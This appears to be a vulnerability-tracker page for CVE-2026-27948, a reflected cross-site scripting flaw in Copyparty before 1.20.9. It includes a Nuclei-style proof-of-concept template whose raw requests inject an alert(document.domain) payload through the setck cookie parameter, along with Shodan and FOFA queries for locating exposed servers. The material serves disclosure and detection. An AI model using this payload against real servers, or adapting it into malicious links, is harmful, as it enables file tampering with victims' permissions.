CVE-2026-27948: Copyparty < 1.20.9 - Cross-Site Scripting via setck

2026-11-29 PoC Public

Description

Copyparty before 1.20.9 contains a reflected cross-site scripting vulnerability in the setck URL parameter. The handler stores any cookie name and value from the query string without validation, and the cplng cookie is later rendered unescaped into an inline script block of the file browser and splash pages, letting unauthenticated attackers run JavaScript in a victim's browser through a crafted link.

Details

CVE
CVE-2026-27948 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-27948

info:
  name: Copyparty < 1.20.9 - Cross-Site Scripting via setck
  author: s4e-io
  severity: medium
  description: |
    Copyparty before 1.20.9 contains a reflected cross-site scripting vulnerability in the setck URL parameter. The handler stores any cookie name and value from the query string without validation, and the cplng cookie is later rendered unescaped into an inline script block of the file browser and splash pages, letting unauthenticated attackers run JavaScript in a victim's browser through a crafted link.
  impact: |
    Attackers can execute arbitrary JavaScript in the browser of a user who opens a malicious link, allowing them to upload, move or delete files with the victim's copyparty permissions.
  remediation: |
    Upgrade copyparty to version 1.20.9 or later.
  reference:
    - https://github.com/9001/copyparty/security/advisories/GHSA-62cr-6wp5-q43h
    - https://github.com/9001/copyparty/commit/31b2801fd041f803f4a3d5c12c7d7cb5419048bc
    - https://github.com/9001/copyparty/releases/tag/v1.20.9
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27948
    epss-score: 0.0058
    epss-percentile: 0.41709
    cwe-id: CWE-79
    cpe: cpe:2.3:a:9001:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
  tags: cve,cve2026,copyparty,xss,vuln

variables:
  marker: "{{rand_base(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?setck=cplng={{marker}}%22%3Balert(document.domain)%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "o7")'
          - 'contains(header, "cplng={{marker}}\"%3Balert(document.domain)//")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: cplng={{marker}}"%3Balert(document.domain)//

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "\"{{marker}}\";alert(document.domain)//\"", "/.cpr/tl/{{marker}}\";alert(document.domain)//.js")'
        condition: and
# digest: 4b0a00483046022100bf780aca6b4ad9b25c1a10a6dc4541213691e3f819b7680c1e164fdcd5a6e2fc022100870e7b9957c5112bd5e2830e9ada54d162ba86636b993e4eafc03918da639617:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life